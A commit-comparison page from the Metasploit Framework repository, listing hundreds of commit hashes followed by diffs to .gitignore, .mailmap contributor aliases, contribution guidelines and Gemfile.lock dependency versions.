Compare commits
782 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ba0ead6915 | |||
| 6412c66848 | |||
| aec434f4aa | |||
| 969abadba6 | |||
| b057a9486c | |||
| a54945c82c | |||
| ff63e6e05a | |||
| 8d8e1f80f5 | |||
| c8d009209f | |||
| b954b6d5c1 | |||
| 26da2a2ce5 | |||
| 6d8dd24e41 | |||
| 01c5662b61 | |||
| e3801c425b | |||
| 2041870e62 | |||
| 20d7e9a7a7 | |||
| b13d0f879a | |||
| b08d1ad8d8 | |||
| 3ed6632f88 | |||
| 1ea425aff1 | |||
| db2850b51c | |||
| b6b52952f4 | |||
| 01d0d1702b | |||
| 9862a2fc25 | |||
| 78bfced8dd | |||
| b2c3267a2a | |||
| ee90e5e96d | |||
| ea94e9752a | |||
| 5e993a6823 | |||
| fcdb32795d | |||
| 7b5e3a880d | |||
| 3e6fed7958 | |||
| 0304b2c1e2 | |||
| 8f928c6ca1 | |||
| 815c426b4d | |||
| 621f3fa5a9 | |||
| 556620d981 | |||
| f11b84f106 | |||
| e9350986a4 | |||
| 1a15fc1c2e | |||
| 8f73167b15 | |||
| f164afaef8 | |||
| c3e8f81982 | |||
| af3ac60e28 | |||
| 310332b521 | |||
| b869b890c7 | |||
| 2471e8bc8c | |||
| 277950cc79 | |||
| f6751f3c90 | |||
| a79f6fccad | |||
| 43833c8756 | |||
| 2b016e0216 | |||
| 7b1d9596c7 | |||
| 117a0945b1 | |||
| 627fffdb08 | |||
| 128f802928 | |||
| 79fd648bbe | |||
| 6ab0dbc321 | |||
| 2c7ffcc3a8 | |||
| 7211936f96 | |||
| 8817de793a | |||
| fc56ab6722 | |||
| e79c3ba7c0 | |||
| 108c3961e2 | |||
| 963437d5e7 | |||
| c2a5da08af | |||
| ffa340500f | |||
| 52c6daa0f2 | |||
| b75084249a | |||
| 92a592d303 | |||
| fdce5bc30c | |||
| 0a40e7d8f5 | |||
| 55f27fb6fe | |||
| 25f49c0091 | |||
| 202969fae9 | |||
| 48410f3ab2 | |||
| bbe4162320 | |||
| d0e1c67c18 | |||
| 201750a31b | |||
| 2cc6565cc9 | |||
| 09dcd1dade | |||
| deecb24967 | |||
| 54fa43030d | |||
| 892f354ece | |||
| 47cf6d5edf | |||
| 1c8556d8e0 | |||
| a362d8b9c8 | |||
| fee361dae0 | |||
| 532ea5d4c4 | |||
| 7a321c7350 | |||
| c23be2bb79 | |||
| bd566da5ca | |||
| 45401bfe45 | |||
| 4ec69236d2 | |||
| d923a5d42d | |||
| 899ea558e3 | |||
| b4b3a84fa5 | |||
| 82e092c2df | |||
| a14f4992ab | |||
| 1164c025a2 | |||
| 1e0dcb9268 | |||
| 21bede1166 | |||
| e404dfeaea | |||
| 049b322ae4 | |||
| 8490a3b775 | |||
| 0390ed4d6e | |||
| 8de508c4e0 | |||
| 2f3f655352 | |||
| 74b4087d5c | |||
| 6290cb681f | |||
| 6e7f07f0f3 | |||
| 8b430826c6 | |||
| 5f9f3259f8 | |||
| 7f341336b2 | |||
| 85937ab839 | |||
| 7d638a0975 | |||
| 054ac5ac19 | |||
| e29d5b9efe | |||
| 0f8efec001 | |||
| f9f47f7a79 | |||
| 5dc7d4b16e | |||
| 85dfec0cf5 | |||
| 58e37931c5 | |||
| 5a8469d1cb | |||
| ef322ab9aa | |||
| 4b77de2174 | |||
| cfc368ab65 | |||
| 6575be72de | |||
| 5181fa53ba | |||
| b9891aab27 | |||
| 9b4028d2d7 | |||
| 54dfcee665 | |||
| ec4769fade | |||
| 05ef5316df | |||
| cf95c9f7f5 | |||
| 78335f8e20 | |||
| f246aa0b58 | |||
| 54092177a2 | |||
| 3fe4ffb225 | |||
| 12812650c0 | |||
| 4ed12d7077 | |||
| 844c13dc17 | |||
| 3850431966 | |||
| 6108352683 | |||
| 10e45bbebe | |||
| c45f30a7a9 | |||
| bca0d716c0 | |||
| 1bf03ab4ec | |||
| 70a79bb0e8 | |||
| 2e97a08954 | |||
| 02d40eb576 | |||
| 4b01213fb5 | |||
| a1bd640eff | |||
| d42d9f8557 | |||
| 9663f88fdc | |||
| 159446ce92 | |||
| 6e1b6e96a9 | |||
| f0cd25dcee | |||
| 1401a61f59 | |||
| fec2301fc8 | |||
| cdf3c63af9 | |||
| 343f4010bd | |||
| dbcdc300e5 | |||
| d6c7ac51d6 | |||
| 20c2a10e8a | |||
| 118caa13bf | |||
| 23399326c2 | |||
| 3edb0b3625 | |||
| 31ea58d7f0 | |||
| 1ecef265a1 | |||
| e2b9225907 | |||
| afbeb2b668 | |||
| d1281b6594 | |||
| 0a85f1d233 | |||
| 068a4007de | |||
| 8a777bec41 | |||
| c489c5ce3e | |||
| 5e39f895cf | |||
| 68bd4e2375 | |||
| 80563b2c0f | |||
| 55457ef977 | |||
| 80c65ec4fc | |||
| d186844cde | |||
| a796a1bc63 | |||
| 2dba09a9ce | |||
| dcddd2d671 | |||
| 39fa8bf2d4 | |||
| 3d93c55174 | |||
| 4e63591ce8 | |||
| ee2d1d4fdc | |||
| 356f4fd54d | |||
| 0a83b34a85 | |||
| d90f0779f8 | |||
| 97f9ca4028 | |||
| e3e360cc83 | |||
| ac5d2709cf | |||
| d5d0b9e9b8 | |||
| 0660880332 | |||
| 70a7415185 | |||
| fcf8cda22f | |||
| 5f08591fef | |||
| c2f3d411c3 | |||
| fd07da3519 | |||
| 2480781409 | |||
| c2b4e22b46 | |||
| 1e7202cf9b | |||
| 058115c21f | |||
| 15a1a9ed71 | |||
| 5d4cc7ab40 | |||
| 409e26351b | |||
| 6c3871bd0c | |||
| 4c5fd78937 | |||
| 5bc513d6cd | |||
| 9f280d714e | |||
| 3fb9eae687 | |||
| b38b116c9a | |||
| 5e1b7d8c0f | |||
| 63d8787101 | |||
| 0fd83b50d1 | |||
| ff741fbc35 | |||
| 92522138c5 | |||
| 08d08d2c95 | |||
| 464808d825 | |||
| 92c70dab6f | |||
| ffabf26593 | |||
| 7a36d03fe3 | |||
| 47674c77ad | |||
| fbd0bc4308 | |||
| e9e4e7d069 | |||
| 40d7de05ef | |||
| fc79f3a2a9 | |||
| 579a3bcf7c | |||
| 47e4321424 | |||
| 048741660c | |||
| a1b1b31f98 | |||
| f5e6eccce2 | |||
| 3e94abe555 | |||
| 18f6d2143c | |||
| 6072697126 | |||
| 140621ad9b | |||
| de5152401a | |||
| 8697d3d6fb | |||
| 0126ec61d8 | |||
| b3f59ebd19 | |||
| 07f7e5e148 | |||
| 4b3f6c5d29 | |||
| 039e8f5899 | |||
| c2a063c8ae | |||
| 1e053c110a | |||
| df1a9bee13 | |||
| 3842753ce4 | |||
| f85e7972d1 | |||
| 9cb57d78d7 | |||
| 81f30ca962 | |||
| 69e2d05a5d | |||
| b9d0bcc193 | |||
| 15a3d739c0 | |||
| 129b449355 | |||
| 718f36f1af | |||
| 3f9d0630ce | |||
| e692e32dae | |||
| c816af1e4d | |||
| 5a92dc205e | |||
| 2b85b210e9 | |||
| 95517b4a45 | |||
| bbaa3ad9f9 | |||
| 6cb2a6970e | |||
| 856a4c7684 | |||
| 6fe7698b13 | |||
| a84614f2c0 | |||
| ce7c6496dd | |||
| 3f25c27e34 | |||
| ddfd015310 | |||
| 6507e520c7 | |||
| d8f6be0a3f | |||
| 1db10eec39 | |||
| 3feff7533b | |||
| b4af7eb039 | |||
| 3aff0050ee | |||
| 01a951d5aa | |||
| 5405b0f3db | |||
| 34130592f1 | |||
| c02a05f913 | |||
| 1225a93179 | |||
| ba72d3fd92 | |||
| c130495968 | |||
| 813777a8e4 | |||
| fee54b4a5a | |||
| 98ad2489db | |||
| 0af2fa7164 | |||
| 9ea0b8f944 | |||
| 856baf5f32 | |||
| ea988eaa72 | |||
| 674470c5de | |||
| 6ea9d7a6f7 | |||
| 050b604e77 | |||
| 0e5c5559cf | |||
| cfb034fa95 | |||
| cd207df6b8 | |||
| 74103f3760 | |||
| c6b1955a5a | |||
| 312175eed3 | |||
| 4fb7472391 | |||
| f5bfc84453 | |||
| 0451d4f079 | |||
| bca88d8443 | |||
| 81fa068ef0 | |||
| 24eba6b831 | |||
| 8a68e86a0a | |||
| 48714184f3 | |||
| 78775f7833 | |||
| 52db99bfae | |||
| fe4cfd7e3e | |||
| 1d27538545 | |||
| 625d60b52a | |||
| 17f0a0770f | |||
| 980658c9f4 | |||
| 4a8011eb9e | |||
| cc30ece6ce | |||
| 3ed85b6b25 | |||
| a7c778b852 | |||
| bd4dacdbc3 | |||
| 72ed478b59 | |||
| 563b8206c5 | |||
| 337e48dc07 | |||
| 3a39d8020d | |||
| 52bbd22a81 | |||
| b321f72b41 | |||
| f7d261516d | |||
| b7139da624 | |||
| 776dd57803 | |||
| 4de337e6d9 | |||
| 1ba33ff7f8 | |||
| a2a97d0271 | |||
| 2e03c3511e | |||
| 7831cb53c5 | |||
| f63273b172 | |||
| 8c7796c6d3 | |||
| 46eff4c96d | |||
| ec1248d7af | |||
| 5adc360b2a | |||
| 6af3c4ab99 | |||
| 3147553d4f | |||
| 26680f58ca | |||
| fd4a51cadb | |||
| 46239d5b0d | |||
| 17974d74e2 | |||
| 6cd1da414f | |||
| d63dc5845e | |||
| cd84b42e50 | |||
| c0093381d7 | |||
| b0bf901b22 | |||
| 199ae04b57 | |||
| ba40d0e06f | |||
| 943b07f46f | |||
| 68fdeb6031 | |||
| 6da8c22171 | |||
| 7143095b4b | |||
| 312342b0fd | |||
| a58a3d4330 | |||
| 5f4153308c | |||
| 207d92a125 | |||
| 1b4a6a7981 | |||
| 233186c833 | |||
| 6d094a18c0 | |||
| 2534ef76f3 | |||
| ba6d00cee2 | |||
| d470371694 | |||
| 7cdadca79b | |||
| dff60d96c8 | |||
| 6f5edb08fe | |||
| 37efff59ce | |||
| 0d7b587b5d | |||
| f0bb125556 | |||
| 600704c053 | |||
| 52bcade72c | |||
| ab27c1b701 | |||
| 158176aa05 | |||
| eaaa9177d5 | |||
| db85f25998 | |||
| 036ba8057a | |||
| f13d91f685 | |||
| e8304e684c | |||
| 6ae4d1576e | |||
| 5260031991 | |||
| 75a34c4aca | |||
| 815685992a | |||
| 6d72b5b19f | |||
| 9450906ca4 | |||
| f47128ccdd | |||
| 53b989f283 | |||
| 16030cda30 | |||
| 9de27e0b9c | |||
| 27b5d961fd | |||
| c4aa99fdac | |||
| cfde0a0ade | |||
| 7e84c808b2 | |||
| b59d10d9c4 | |||
| d8d6ab3ae8 | |||
| 60c60bf004 | |||
| e4c55f97db | |||
| 9f19d2c210 | |||
| d3a13f4b0c | |||
| 4354b5d5d6 | |||
| 08f1e68487 | |||
| 99790e343d | |||
| c2699ef194 | |||
| 2f837d5d60 | |||
| 8d76bdb8af | |||
| c553353fab | |||
| 88b60db5fb | |||
| d7cd10f586 | |||
| da532ecc5e | |||
| 91658d2a61 | |||
| 8ca571aee3 | |||
| 0114d2cf0b | |||
| 290e1eb0fa | |||
| 5420848c49 | |||
| f034952852 | |||
| 09e721c4eb | |||
| d5c2a8e3c8 | |||
| d371fd0798 | |||
| ba9a693435 | |||
| 064d6b3f51 | |||
| 2423a336a4 | |||
| 1dad9bf7fa | |||
| 184802d7d1 | |||
| f333481fb8 | |||
| 7c9227f70b | |||
| a15c79347b | |||
| 9128ba3e57 | |||
| 43c82f764d | |||
| e0cf4721c5 | |||
| 92b62d010f | |||
| 7dfb06d632 | |||
| dbc1cf4141 | |||
| 4f42cc8c08 | |||
| 22bea44785 | |||
| 68d647edf1 | |||
| c99505923f | |||
| ffa4177575 | |||
| 52d5028548 | |||
| 2047475901 | |||
| 7f92088242 | |||
| d72492fe30 | |||
| 3109bfb8e4 | |||
| 98cfcc65ae | |||
| eb2398a446 | |||
| 54c4771626 | |||
| a27d10c200 | |||
| fb678564b1 | |||
| 8ce59ae330 | |||
| c35322ec3f | |||
| 3163af603d | |||
| 057947d7e8 | |||
| 9b5e3010ef | |||
| df55f9a57c | |||
| 2c4b387eb2 | |||
| 2afcda9d49 | |||
| f7382f5b3b | |||
| 01a691a46c | |||
| 552b672893 | |||
| d9efc8d803 | |||
| 34a5ce4816 | |||
| b893f17d2b | |||
| 55e22d7531 | |||
| 5921ac7b47 | |||
| 9807f9b796 | |||
| 266d29ca4a | |||
| a6020ca010 | |||
| 2715883fa2 | |||
| ffc730160b | |||
| 31bbcfca49 | |||
| 36a9ef83ab | |||
| 4676d70918 | |||
| 4a95e675ae | |||
| 2edd6869fc | |||
| 816bc91e45 | |||
| f0d403124c | |||
| cda104920e | |||
| c322a4b314 | |||
| dc3a185519 | |||
| 5adf5be983 | |||
| dfb2b95e46 | |||
| 3da451795c | |||
| 2319629dd8 | |||
| 4970047198 | |||
| 8841e3b5c7 | |||
| 4c2e130470 | |||
| 1ea7cf27a3 | |||
| ad474f95bb | |||
| 7b740af67e | |||
| a808c9fe63 | |||
| 4ade689412 | |||
| a65a4929f7 | |||
| 392d10a099 | |||
| 091cdccccf | |||
| 7f3c7a7257 | |||
| a73f738f27 | |||
| 4b51b0b7ea | |||
| e12dea3521 | |||
| d5dd5d55a6 | |||
| aae86d8bc0 | |||
| 25eb311518 | |||
| c12ff44261 | |||
| 8151a0dca7 | |||
| 6abff3aa30 | |||
| 24ad1aca52 | |||
| 3c629131ab | |||
| 7e511a280e | |||
| ec77b734ee | |||
| 33eac94f18 | |||
| 0e39bef70f | |||
| ec6540b806 | |||
| 70a85675f1 | |||
| 10f24ddd57 | |||
| ccd6a399c8 | |||
| febf5ef08f | |||
| 00d2756b63 | |||
| ca47bf553c | |||
| 0174506e07 | |||
| ef50d04258 | |||
| 9735b26b30 | |||
| 4551a5814d | |||
| 6401062fec | |||
| 809dfc0ac8 | |||
| a5fdd1d1f0 | |||
| 8c0facda4c | |||
| e2aa53d528 | |||
| 565967d649 | |||
| 9f668a9509 | |||
| 828eca0a92 | |||
| 6c7ab33f49 | |||
| aa063953f9 | |||
| a6ad51794d | |||
| 625d80ed6f | |||
| 91fedd16eb | |||
| dfb03c1dbe | |||
| fc07d83596 | |||
| 955929ee5c | |||
| 42bc9adcbf | |||
| 36202daf26 | |||
| d315f26bee | |||
| 696c909e82 | |||
| 2e3438f792 | |||
| cae6931015 | |||
| cd7bf454e3 | |||
| 48a1ff9f6b | |||
| 6c4d96a9b5 | |||
| 44694e84fe | |||
| 8f0b15c4e6 | |||
| 375aadcac9 | |||
| f1752cd47f | |||
| 8bbd3060da | |||
| bc6430b6d5 | |||
| 5ad9570ef8 | |||
| e597badd97 | |||
| 895aef65a9 | |||
| f054e22047 | |||
| 7e0aee396b | |||
| c42121fd70 | |||
| 13e148794c | |||
| 3256419d7e | |||
| 62ac43d2db | |||
| b10cbe4fab | |||
| ace51a6fff | |||
| 2fbde41050 | |||
| 8771a79e45 | |||
| e28898a214 | |||
| af1458a9b8 | |||
| ef82b78014 | |||
| 273fc03807 | |||
| f8e34598ce | |||
| 00527019b2 | |||
| 95e0c136b8 | |||
| 927e35b4fc | |||
| b27dcf7425 | |||
| b144788379 | |||
| 2f4ec1f33f | |||
| d61c7383d0 | |||
| 5831242522 | |||
| 4335e569e7 | |||
| c5f52ba0b1 | |||
| a679411751 | |||
| 3356d75da8 | |||
| 84ddb259e3 | |||
| 73f43686a0 | |||
| 1836d3e17b | |||
| aa53c3ba88 | |||
| 1b2c5392f4 | |||
| a896b71340 | |||
| 70f8405fc6 | |||
| 12bed05b8e | |||
| cbffc31bbf | |||
| 4a77f6d543 | |||
| 19584083e7 | |||
| 5e082f8e69 | |||
| b7b5190bf2 | |||
| 1db53a6f25 | |||
| 066c58853a | |||
| 7b197b24c8 | |||
| bb3856a810 | |||
| 88297814a1 | |||
| db0b273c50 | |||
| 73e5bb5dc2 | |||
| 224ee713ef | |||
| 71fe21eb24 | |||
| a523a4975f | |||
| c7036ec905 | |||
| 90991f102b | |||
| ef1b6e024d | |||
| 61d6e1071f | |||
| 75deaf4067 | |||
| c0ef55071b | |||
| fde85af26e | |||
| 03f527c8a0 | |||
| 961003f61d | |||
| e510523fe9 | |||
| 9a1ebf424d | |||
| 7106afdf7d | |||
| 183913b690 | |||
| 6ce5880bdc | |||
| 313d6f666d | |||
| d3f7e0344f | |||
| dce4e5a011 | |||
| 6bb008a0ed | |||
| 2a02bc38c4 | |||
| 1d3aec5220 | |||
| 2ec2e4595e | |||
| e00c79a4cc | |||
| 8595230eb0 | |||
| dbe731f111 | |||
| e3e1e14d2d | |||
| ad29d2096d | |||
| 18b6e2781c | |||
| b166b4ba2a | |||
| 147e18ba6a | |||
| 0b06ce432b | |||
| 0881bebc7a | |||
| e285bdfbb2 | |||
| 107d63b98f | |||
| b25e2a319a | |||
| 2c1fc9123d | |||
| dd15cfa5c0 | |||
| 5f728909f4 | |||
| 032dcd2472 | |||
| a67ae3bc14 | |||
| 1278c03e49 | |||
| 13dd49d1a6 | |||
| e4965ad56b | |||
| 1e19620df6 | |||
| 0b4840b45e | |||
| 02598d5e62 | |||
| 15fdc3478e | |||
| c936c3f30d | |||
| f5348a13f4 | |||
| 3a1009cd0f | |||
| f8fe1d1275 | |||
| 803b3da33b | |||
| 549e430191 | |||
| 0519376c46 | |||
| 04032a712b | |||
| bd1e39dc2b | |||
| cb3e6add9a | |||
| 116cae37ef | |||
| d9d59a7164 | |||
| cbf29db377 | |||
| 8754998e84 | |||
| 740295e83f | |||
| f4467819cf | |||
| 39a9f2603d | |||
| 1203496611 | |||
| 19ab9e3089 | |||
| 4765009259 | |||
| cad6fee858 | |||
| d30a649e0c | |||
| 9cf88abe23 | |||
| 018af4efe2 | |||
| 442195d988 | |||
| 9ce2af1700 | |||
| 850fa29513 | |||
| e421631799 | |||
| 65fe03c9d0 | |||
| ad7588c8ef | |||
| 634d4aa07e | |||
| 7bc3192a77 | |||
| ba8d3e5296 | |||
| 91367ecbc9 | |||
| ae297906bd | |||
| b784b48d02 | |||
| 34b3bb6d07 | |||
| 61cee1dacd | |||
| abf2b68b63 | |||
| 465a6f3b98 | |||
| 93bfd9fce7 | |||
| 5690cb5d19 | |||
| e926f9ca82 | |||
| 742c3b48ca | |||
| 040936ed6b | |||
| 395caafefa | |||
| 69c16b3c7d | |||
| bdf91b0060 | |||
| fb4f65ddfd | |||
| 0635e4542f | |||
| 410f81f0ea | |||
| c5d3887da5 | |||
| 8653c77279 | |||
| 2d7b2a57b2 | |||
| 88bcf430d3 | |||
| 790108045f | |||
| 84fee2683b | |||
| f076233f58 | |||
| 746e698585 | |||
| 2cdcba65f5 | |||
| 8d81eb9280 | |||
| a1d0f2eb1d | |||
| f4bea53bd1 | |||
| 29cb03140e | |||
| 84169a8cb1 | |||
| 48e96e757f | |||
| 595df442a2 | |||
| f9a18cd655 | |||
| 2ac59b27bb | |||
| f3e060294c | |||
| 32ccbbbe45 | |||
| dfed9e2864 | |||
| e18f4dd40e | |||
| 76dad50dd7 | |||
| 67e16aed62 | |||
| db447932c0 | |||
| 5dbb395e24 | |||
| 2477978613 | |||
| e7974c50bb | |||
| 83ee6f65ef | |||
| cb6e187a39 | |||
| 2765cf1ad7 | |||
| 30f958206e | |||
| 4fc5b143f8 | |||
| 5af77686ab | |||
| 2369ee9dc9 | |||
| 26e86e97cd | |||
| e726e35144 | |||
| 91dca74f85 | |||
| 1e04d27e52 | |||
| bd9e1f8d76 | |||
| 10c9200d8e | |||
| d8f3bbc35e | |||
| b73f28f295 | |||
| f737643447 | |||
| 60520ccc8c | |||
| 66c55cfc6d | |||
| c0e762335e | |||
| ef7246f409 | |||
| 6a5ccf7c1e | |||
| ebbf2f48d2 | |||
| 4bb959e504 | |||
| 1298377f04 | |||
| 8ca20488bc | |||
| f11aed7175 | |||
| 8f8c10171d | |||
| 7fe6b31354 | |||
| 391752d815 | |||
| b9b33afbde | |||
| 2645b34a5a | |||
| 13b401558c | |||
| 27fe357478 | |||
| 992ab6ba38 | |||
| d2b7c83d7d | |||
| 0a7cf7d625 | |||
| db83e02705 | |||
| 4b51535616 | |||
| 6d6220f402 | |||
| 9a4d105aed | |||
| fe849d665a | |||
| 8a36bf7d09 | |||
| cf6445a21c | |||
| 115dcd275f | |||
| cbca39032b | |||
| bd63c76823 | |||
| 3e3e46700f | |||
| 3d18c26fd9 | |||
| ddcb01d77e |
@@ -84,3 +84,4 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
@@ -16,30 +19,40 @@ ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -151,10 +164,11 @@ void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Metasploit Bot <metasploit@rapid7.com> Metasploit <metasploit@rapid7.com>
|
||||
Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
|
||||
@@ -45,6 +45,7 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
@@ -56,6 +57,10 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
@@ -102,6 +107,7 @@ already way ahead of the curve, so keep it up!
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
|
||||
+83
-55
@@ -1,11 +1,12 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.5)
|
||||
metasploit-framework (4.12.15)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
bcrypt
|
||||
bit-struct
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@@ -13,9 +14,11 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.11)
|
||||
metasploit-payloads (= 1.1.13)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle
|
||||
msgpack
|
||||
net-ssh
|
||||
network_interface
|
||||
nokogiri
|
||||
octokit
|
||||
@@ -28,36 +31,44 @@ PATH
|
||||
rb-readline-r7
|
||||
recog
|
||||
redcarpet
|
||||
rex-java
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
rubyzip
|
||||
sqlite3
|
||||
sshkey
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionpack (4.2.6)
|
||||
actionview (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
actionpack (4.2.7)
|
||||
actionview (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
actionview (4.2.7)
|
||||
activesupport (= 4.2.7)
